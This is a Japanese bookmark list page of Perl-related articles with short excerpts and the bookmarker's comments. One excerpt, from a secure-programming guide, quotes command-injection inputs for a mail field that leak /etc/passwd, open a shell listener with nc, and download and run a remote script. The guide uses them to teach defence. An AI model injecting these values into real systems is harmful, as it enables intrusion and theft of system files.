タグ

perlに関するkitsのブックマーク (1,406)

  • 生きているのならシェルスクリプトにだってなってみせる、そうPerlならね - Sexually Knowing

    シェルスクリプトを書くのをやめる - blog.8-p.info これを見て: 夢の可能性が高くなってきたんですが、Perlのプラグマかなにかで、シェルスクリプトと混在できる……というか、存在しないサブルーチン呼び出しを外部コマンド呼び出しにするやつありませんでしたっけ— aereal / 青木華絵 (@aereal) 2021年9月16日 まじだ... https://t.co/IF6SyBR4o8— Kazuyoshi Kato (@kzys) 2021年9月16日 Shell - run shell commands transparently within perl - metacpan.org use Shell qw(cat ps cp); $passwd = cat('</etc/passwd'); @pslines = ps('-ww'), cp("/etc/passwd"

    生きているのならシェルスクリプトにだってなってみせる、そうPerlならね - Sexually Knowing
    kits
    kits 2021/09/18
  • Perlで\p{Hiragana}とかが記号にマッチする問題 - Qiita

    みなさん、ワンライナーで日語を簡単に処理したい場合、何を使うでしょうか。 ワンライナーで言語処理といえばPerlですよね[要出展]。 Perlでは、「ひらがな」「カタカナ」「漢字」といった文字にマッチする正規表現を簡単に書くことができます。 例えば、青春→鯖鰆みたいなやつという記事では、漢字にマッチさせるのに\p{Han}という正規表現を使っていました。 $ perl -Mutf8 -CSD -le 'print "漢" =~ m{\p{Han}} ? 1 : 0' 1 $ perl -Mutf8 -CSD -le 'print 1 if "あ" =~ m{\p{Han}} ? 1 : 0' 0 なんてこった。 "「"は明らかに漢字じゃないだろう? 調べてみると、perlunicodeに以下のような記述がありました。 Prior to Perl v5.26, the single for

    Perlで\p{Hiragana}とかが記号にマッチする問題 - Qiita
  • 【解決済】Perlのニュースサイト perl dot com のドメインが何者かによって不正に取得されました - JPA 運営ブログ

    ※タイトルはSNS等における自動リンクによるリンク拡散を避けるためにperl​.​comの表記を避けています ※文のperl​.​comの表記には各種ツール引用後の自動リンク防止のため、ドット前後にUnicodeゼロ幅スペースを入れています 2021/02/03 09:20 JST: 各種CPANクライアントの安全性について誤解を招いているケースが見受けられたので表現を改めました 2021/02/06 22:00 JST: 公式情報が更新されました。ドメイン perl​.​com の奪還に成功し権威DNSは正しいアドレスを返すようになっています。しかし、いわゆるDNS浸透問題によって一部適切に新しいアドレスを返していないDNSキャッシュサーバーが存在するかもしれません。よって、利用する方は注意して利用してください。 正しいアドレスは 151.101.*.*/16 のものです。違うアドレス

    【解決済】Perlのニュースサイト perl dot com のドメインが何者かによって不正に取得されました - JPA 運営ブログ
  • Perl 6、正式に「Raku」へ名称変更か | スラド デベロッパー

    Perl 6の名称を正式に「Raku」へ変更するというGitHubでの提案に対し、Perl生みの親のLarry Wall(TimToady)氏が支持を表明している(Larry Wall氏のコメント、 blogs.perl.orgの記事、 The Registerの記事)。 次世代Perlとして開発されていたPerl 6だが、正式リリース後もPerl 5の開発が進められており、「Perl」といった場合にPerl 5を指す状態が続いている。そのため、Perl 6の名前に「Perl」が入っているのはわかりにくいとして、8月からGitHubで名称変更が議論されていた。このスレッドでは「Raku (楽)」という日語について、勘違いも含めてちょっと面白い議論になっている。 もともと「Raku」という名前は昨年、Perl 6のエイリアスとして使えるもう一つの名前を付けてほしいというZoffix Zne

    kits
    kits 2019/10/16
  • errnoから何のエラーか簡単に調べるためのワンライナーの解説 - 時計を壊せ

    qiita.com こんなワンライナーがあります: % perl -E 'say$!=24' Too many open files これの正体に迫っていきたいと思います。 どのように解釈されるのか まずはこれがいったいどのようにParseされるのかを知るために、 -MO=Deparse を付けて実行してみましょう。 % perl -MO=Deparse -E 'say$!=24' use feature 'current_sub', 'evalbytes', 'fc', 'say', 'state', 'switch', 'unicode_strings', 'unicode_eval'; say $! = 24; -e syntax OK say $! = 24 キモはこれです。 $! という変数に 24 を代入して、その式の結果を say が受け取っています。 Perlの代入式は左辺

    errnoから何のエラーか簡単に調べるためのワンライナーの解説 - 時計を壊せ
    kits
    kits 2019/05/29
    $! に errno の数値を代入して文字列として評価。なるほど。
  • Japan Perl Associaton代表理事に就任します - 時計を壊せ

    SEE ALSO: blog.perlassociation.org なぜ平成も終わるこのご時世に?と思う方もいらっしゃると思います。 思いの丈を書いてみます。 昨今のWeb開発のトレンドとしては、動的型付け言語から静的型付け言語へシフトが進んでいます。 また、PaaS/SaaS/FaaSの普及により言語選択よりも技術選択とそのアーキテクチャがより重要になってきており、 *1いちプログラミング言語の重要性というものは、(特に動的型付け言語においては)昔ほど重要ではなくなっているのが実情かと思います。 その中でもPerlは、人気度でいえば比較的低い言語といえるでしょう。 LLと呼ばれる言語の中で最低の人気と言っても間違いではないかもしれません。 ひどいときには、1987年に作られたPerlと1959年に作られたCOBOLが並べて語られることすらあります。*2 それでも、ぼくはPerlが好きで

    Japan Perl Associaton代表理事に就任します - 時計を壊せ
    kits
    kits 2019/04/22
  • さようならsearch.cpan.org | スラド デベロッパー

    search.cpan.orgが2018年6月25日をもって閉鎖となる(The Perl NOCの記事)。 このサイトは20年近く前にGraham Barr氏が作り、1999年初頭からCPANのPerlモジュールやオンラインヘルプ検索機能を提供し続けてきた。しかし、その多くを2005年当時のPerlコードが占め、近年では保守が負担となっていたとのこと。 幸いにもsearch.cpan.orgが担ってきた機能はMetaCPANに引き継がれており、閉鎖後はすべてのトラフィックがリダイレクトされる。

    kits
    kits 2018/06/03
    search.cpan.org 見やすいし使いやすかったのになー。
  • Perl の真偽値について - Qiita

    Perl の真偽値はわかりづらいと言われます。 Perl とシェルスクリプトで逆になっていると思えるほど違う部分の理由を考える - Qiita この記事では以下のような考察をしました。 Perl の真偽値は、C言語のそれを踏襲したものになっていることはすぐにわかります。Perlにおける真偽値の複雑さというのは、C言語にはない文字列(C言語のようなchar型へのポインタといったものではなくプリミティブなもの)やリストや未定義状態といったものに対するPerlの考えといったものが入ったからだと思えます。元々のC言語が真偽値型を導入せず整数型(int型)で真偽値型を代用した功罪をPerlも受け継いでいるといえるのではないでしょうか。 もう少し考察していきましょう。 Perl における偽と評価される値 Perl には真偽値型(ブール型)といったものはありません。Perl での真偽の違いはわかりづらい

    Perl の真偽値について - Qiita
    kits
    kits 2017/09/22
    真偽値はスカラ値に対する区別であり、リスト・配列・ハッシュとは別に考えた方がよいと思う。
  • いまだに Data::Dumper で消耗しているの?

    Data::Dumper::AutoEncode というモジュールがありまして、主に printデバッグのお供に便利な変数のダンプモジュール君です。 デファクトスタンダードであるところの Data::Dumper でダンプすると「\x{304a}\x{3067}\x{3093}」こんな感じにエスケープされてしまうマルチバイトな文字列を、 Data::Dumper::AutoEncode の eDumper という関数を使うと、自動的にエンコードして普通に読める状態で出力してくれます。 use utf8; use Data::Dumper::AutoEncode; # export `eDumper` and `Dumper` my $foo = +{ bar => 'おでん' }; print Dumper($foo); # { bar => "\x{304a}\x{3067}\x{309

    いまだに Data::Dumper で消耗しているの?
    kits
    kits 2017/09/22
    Data::Dumper 出力はそのまま eval できるのがわりといいと思う。
  • if文による条件分岐 - Perl入門ゼミ

    Perl › here プログラミングを書いていると条件によって処理を変えたり、同じ処理を繰り返したくなる場合があります。 そのような場合はif文やfor文を使うことによって条件分岐と繰り返しを実現できます。 条件分岐の基礎 条件分岐の基礎を解説します。 if文 Perlで条件分岐を行うにはif文を使用します。まず最初に簡単な条件分岐を書いてみます。変数の値が「5」の場合に「OK」と出力するif文です。 my $num = 5; if ($num == 5) { print "OK\n"; } if文は以下のような構文です。条件が真になったときに、続くブロックの中が実行されます。 if (条件) { ...; } ==は比較演算子で、数値が等しい場合に真を返します。 この例の場合は、変数には5が入っているので「$num == 5」は真を返します。 そして、条件が真なので、続くブロックの中身

    if文による条件分岐 - Perl入門ゼミ
    kits
    kits 2017/05/11
    リストと配列は、スカラコンテキストでの評価のされ方はそれぞれ異なるので、記事を別にして正しく説明した方がよいと思います。(反例: if ((1,0)) { ... } は実行されません)
  • 青春→鯖鰆みたいなやつ - アスペ日記

    今日、こんなツイートを見かけました。 娘1のクラスの寄せ書き、「楽しかったよ」「また会おうね」が多い中、キラリとひかる名文発見。「青春って魚編をつけると鯖鰆(サバサワラ)って読めるよね。似たような熟語を見つけたら教えて」By 町田高史(仮名) 彼が無事に社会に適応できますように。— 藤川オレンジーナ (@Forangina) 2017年3月21日 ぼくもこういうのは大好きです。 (社会に適応できているかどうかは微妙なところです) それで、こういうのを探してみることにしました。 漢字の構造については、漢字構造情報データベース(CHISE)というものがあります。 (かなりの労力がかかっていると思われるデータベースです。作られた方に感謝します。) 今回は、これを使わせていただきます。 % git clone http://git.chise.org/git/chise/ids.git この中の

    青春→鯖鰆みたいなやつ - アスペ日記
  • 5分でわかる Perl and web security

    yapcjapan2016_lt.md 5分でわかる Perl and web security ma.la CSRFとかXSSとか CSRF: フレームワークの機能使って下さい XSS: Xslateとか自動エスケープして下さい、jsの動的生成はするな 終わり 題 YAPCなのでPerl固有の問題について解説します。 Webアプリケーションの一般的な流れ パラメータ受け取る(フォームとかJSONとか) 何らかの処理をする レスポンスを返す(HTMLとかJSONとか) フォームやJSONを安全に受け取るには paramはscalarで受け取りましょう Why $params = { name => $r->param("name"), value => $r->param("value"), } これをやると ?name=hoge&name=fuga で壊せる。 list context

    5分でわかる Perl and web security
  • perl5のprintf/sprintfで`*`を使った書き方を学ぶ - Qiita

    この記事は、Perl 5 Advent Calendar 2016 - Qiitaの4日目の記事です。 昨日は、私sago35が、Getopt::Kingpinを使って、さくっとコマンドラインスクリプトを作成するを書きました。 今日は、printf/sprintfのフォーマット部分について書いてみます。 sprintfとかprintf使ってますか? 低レベルではありつつも、テキストを思い通りに出力するのに欠かせない関数だと思っています。 で、golangでは以下のような構文が使えます。

    perl5のprintf/sprintfで`*`を使った書き方を学ぶ - Qiita
    kits
    kits 2016/12/06
    '%2$s' における 2$ の機能。 / "format parameter index" http://perldoc.jp/func/sprintf
  • Perlで返り値を安易に補完しない方が良かった話

    @nqounetです。 何故か変にはまってしまったことがあったので、またうっかりしないようにメモしておきます。 配列を返すメソッドを呼ぶ時に、安全策のつもりでこんな感じで書いてました。

    kits
    kits 2016/10/30
    2015年7月の記事。|| により配列がスカラコンテキストで評価された。
  • 簡単にShell上でバーグラフを表示するためのワンライナー - Qiita

    $ echo -ne "hoge 4\nfuga 5\npiyo 6" | perl -anle 'print "$F[0] "."▇"x$F[1]." $F[1]"' hoge ▇▇▇▇ 4 fuga ▇▇▇▇▇ 5 piyo ▇▇▇▇▇▇ 6 $ echo -ne "hoge 69\nfuga 511\npiyo 1195" | perl -anle 'print "$F[0] "."▇"x($F[1]/30)." $F[1]"' hoge ▇▇ 69 fuga ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇ 511 piyo ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇ 1195 $ zcat access.log-20161018 | grep login | perl -F'\t' -nale '%h=map{split/:/,$_,2}@F;print"$

    簡単にShell上でバーグラフを表示するためのワンライナー - Qiita
    kits
    kits 2016/10/19
    "▇" x $F[1]
  • ネットの神童、中学中退、性転換… 異色の経歴誇る唐鳳氏、入閣へ/台湾 - フォーカス台湾

    インターネット起業家の唐鳳氏が史上最年少の35歳で行政院(内閣)政務委員(無任所大臣に相当)に就任することが25日、明らかになった。行政院の童振源報道官が発表した。唐氏は「インターネットの神童」「パソコンの天才」という名声を誇る一方で、中学中退や性転換経験など異色の経歴の持ち主。「公共の仕事に全力投球できるようになるのは幸運」と今後に意欲をみせている。

    ネットの神童、中学中退、性転換… 異色の経歴誇る唐鳳氏、入閣へ/台湾 - フォーカス台湾
  • IPA ISEC セキュア・プログラミング講座:Webアプリケーション編 第6章 入力・注入対策:コマンド注入攻撃対策

    攻撃者は、この to_address に次のような文字列を与えて、サーバ運用者の意図に反したコマンドの実行を行わせることができる。 投入する文字列: evil@site </etc/passwd # → /etc/passwd ファイルが流出する 投入する文字列: dummy@site </dev/null; nc -l -p 8080 | sh # → 遠隔からシェルコマンドの投入を待ち受ける(ファイアウォールで阻止されないとき) 投入する文字列: dummy@site </dev/null; wget http://site/badscript; sh badscript # → 悪意のスクリプトをダウンロードし実行させられる 対策 その1: うっかりシェルを動かさない 自分ではそのつもりが無くても、プログラマがシェルを起動するAPIを気づかぬうちに使っていることがありうる。 使い方に

    kits
    kits 2016/05/17
    「Perlには、シェルを動作させずに他のプログラムを呼び出せるAPIが備わっていない」system, exec はメタ文字がなければシェルを通さずに直接起動すると思うが…。 http://perldoc.jp/func/exec
  • Perlの最新バージョン 5.24リリース - サブルーチンと数値計算の高速化、Unicode 8.0のサポート、文法機能強化 - Perl入門ゼミ

    Perl › バージョン情報 › here Perlの最新バージョン5.24がリリースされました。今回のリリースでは、Perlのサブルーチンと数値計算の高速がなされています。また、機能面では、Unicode 8.0のサポートがなされました。文法的な強化として、前方デリファレンスの実験的なステータスがはずされています。その他、細かなバグフィックスがなされました。 Perl 5.22に引き続きPerl 5.24では、Perlの内部コードの改善がなされています。パフォーマンスの改善という大きなメリットがありますが、いくつかの副作用もありますので、合わせて、解説します。 自分が技術的に不慣れで、安定的なPerlを望むなら、今のところPerl 5.20がおすすめです。技術的に強く、パフォーマンスの改善や新しい機能にチャレンジしたい方は、Perl 5.24にトライしてみてください。 以下で、Perl

    Perlの最新バージョン 5.24リリース - サブルーチンと数値計算の高速化、Unicode 8.0のサポート、文法機能強化 - Perl入門ゼミ
    kits
    kits 2016/05/10
  • Perl の Time::Piece 利用上の注意点 - Hatena Developer Blog

    こんにちは、アプリケーションエンジニアの id:nanto_vi です。この記事ははてなデベロッパーアドンベントカレンダー 2015 の 2 日目です。 Perl で日時を扱うモジュールのひとつに Time::Piece があります。コアモジュールなので手軽に使えますが、Perl - Time::Piece に関するとりとめのないコト - Qiita にもまとめられているように注意すべき点も多いです。ここでは、そのような注意点をいくつか挙げていきたいと思います。 なお、以下のコードは Time::Piece 1.31 で確認しています。 タイムゾーン情報を持たない 大前提として、Time::Piece のインスタンスはタイムゾーン情報を持っていません。持っているのはローカル時間か GMT かの区別のみです。その「ローカル時間」が実際にどのタイムゾーンなのかは、環境 (環境変数 TZ の値な

    Perl の Time::Piece 利用上の注意点 - Hatena Developer Blog
  • XSことはじめ - Qiita

    package Acme::MyModuele; use 5.008001; use strict; use warnings; our $VERSION = "0.01"; use XSLoader; XSLoader::load(__PACKAGE__, $VERSION); 1; #ifdef __cplusplus extern "C" { #endif #define PERL_NO_GET_CONTEXT /* we want efficiency */ #include <EXTERN.h> #include <perl.h> #include <XSUB.h> #ifdef __cplusplus } /* extern "C" */ #endif #define NEED_newSVpvn_flags #include "ppport.h" MODULE = Acme::

    XSことはじめ - Qiita
    kits
    kits 2015/12/07